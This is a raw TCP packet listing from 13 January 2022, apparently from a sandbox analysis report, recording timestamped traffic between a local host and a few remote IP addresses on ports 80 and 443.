Jan 13, 2022 20:51:25.486886024 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486891031 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486896038 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486911058 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486927032 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486943960 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486948013 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486953974 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486960888 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486979961 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486994982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487004995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487010956 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487013102 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487030983 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487049103 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487065077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487072945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487076998 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487083912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487098932 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487114906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487131119 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487133980 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487138987 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487148046 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487164021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487179041 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487194061 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487205029 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487210989 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487211943 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487226963 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487243891 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487257957 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487261057 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487266064 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487276077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487292051 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487307072 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487317085 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487322092 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487323046 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487339973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487354994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487370014 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487381935 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487386942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487387896 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487400055 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.487452984 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.487458944 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.491471052 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.506377935 CET	80	49832	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.536381006 CET	80	49835	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.537988901 CET	49835	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.538142920 CET	49835	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.538160086 CET	49835	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.545089006 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.550375938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550395966 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550411940 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550429106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550534010 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.550553083 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.550627947 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550648928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550666094 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550681114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550697088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550697088 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.550717115 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.550787926 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.550796032 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551220894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551282883 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551342964 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551362991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551392078 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551419973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551435947 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551453114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551467896 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551477909 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551482916 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551486015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551517010 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551532984 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551537991 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551542997 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551552057 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551568985 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551587105 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551603079 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551611900 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551618099 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551619053 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551639080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551655054 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551665068 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551671028 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551671028 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551690102 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551707983 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551726103 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551740885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551759958 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551764965 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551768064 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551793098 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551799059 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551811934 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551827908 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551843882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551860094 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551871061 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551876068 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.551877975 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551954985 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.551959991 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.553440094 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.553643942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.553661108 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.553683996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.553713083 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.553916931 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.553973913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554003954 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554020882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554035902 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554053068 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554069996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554085970 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554101944 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554117918 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554132938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554137945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.554143906 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.554151058 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554167032 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554183006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554186106 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.554199934 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554208994 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.554217100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.554330111 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.554548979 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.556046009 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.595220089 CET	80	49835	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.620661974 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.621315002 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.621527910 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.627082109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.627160072 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.649900913 CET	80	49835	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.653024912 CET	49835	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.653445005 CET	49835	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.684604883 CET	49838	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.697115898 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697340012 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697365046 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697381973 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697397947 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697413921 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697429895 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697448969 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.697488070 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697489023 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.697539091 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697556973 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697573900 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.697596073 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.697623968 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.709042072 CET	80	49835	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.740197897 CET	80	49838	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.742889881 CET	49838	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.743081093 CET	49838	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.743099928 CET	49838	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.773078918 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773112059 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773132086 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773149014 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773165941 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773179054 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.773188114 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773205996 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773210049 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.773226023 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773245096 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773251057 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.773262978 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773269892 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.773283005 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773299932 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773303032 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.773317099 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773334026 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773336887 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.773350954 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773366928 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773376942 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.773384094 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773401022 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773402929 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.773418903 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.773454905 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.799012899 CET	80	49838	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.849044085 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849071980 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849091053 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849108934 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849123955 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849126101 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849143028 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849147081 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849165916 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849184036 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849200964 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849210978 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849229097 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849236965 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849256039 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849273920 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849283934 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849289894 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849307060 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849308968 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849327087 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849334002 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849343061 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849359989 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849376917 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849386930 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849395037 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849411964 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849422932 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849436045 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849450111 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849461079 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849462032 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849479914 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849486113 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849498034 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849514961 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849524021 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849534035 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849546909 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849550962 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849570036 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849587917 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849602938 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849605083 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849623919 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849652052 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849675894 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849694967 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849714994 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849745989 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849749088 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849759102 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849819899 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849885941 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.849893093 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.849910975 CET	80	49838	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.849994898 CET	49838	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.850188971 CET	49838	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.889930964 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.890110970 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.890140057 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.890224934 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.890862942 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.890887976 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.906348944 CET	80	49838	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.925476074 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925502062 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925520897 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925539017 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925554991 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925571918 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925589085 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925604105 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925617933 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.925621986 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925641060 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925659895 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925662994 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.925678968 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925689936 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.925697088 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925718069 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925730944 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.925735950 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925755024 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925772905 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925790071 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925800085 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.925806046 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.925812960 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925833941 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925877094 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925894976 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925910950 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925929070 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925934076 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.925946951 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925964117 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925982952 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925991058 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.925995111 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.925996065 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926008940 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926013947 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926027060 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926047087 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926050901 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926064014 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926071882 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926080942 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926098108 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926115036 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926126003 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926131964 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926147938 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926157951 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926163912 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926179886 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926230907 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926246881 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926265955 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926282883 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926297903 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926312923 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926315069 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926347017 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926358938 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926377058 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926418066 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.926425934 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.926471949 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.939738035 CET	443	49839	144.76.136.153	192.168.2.5
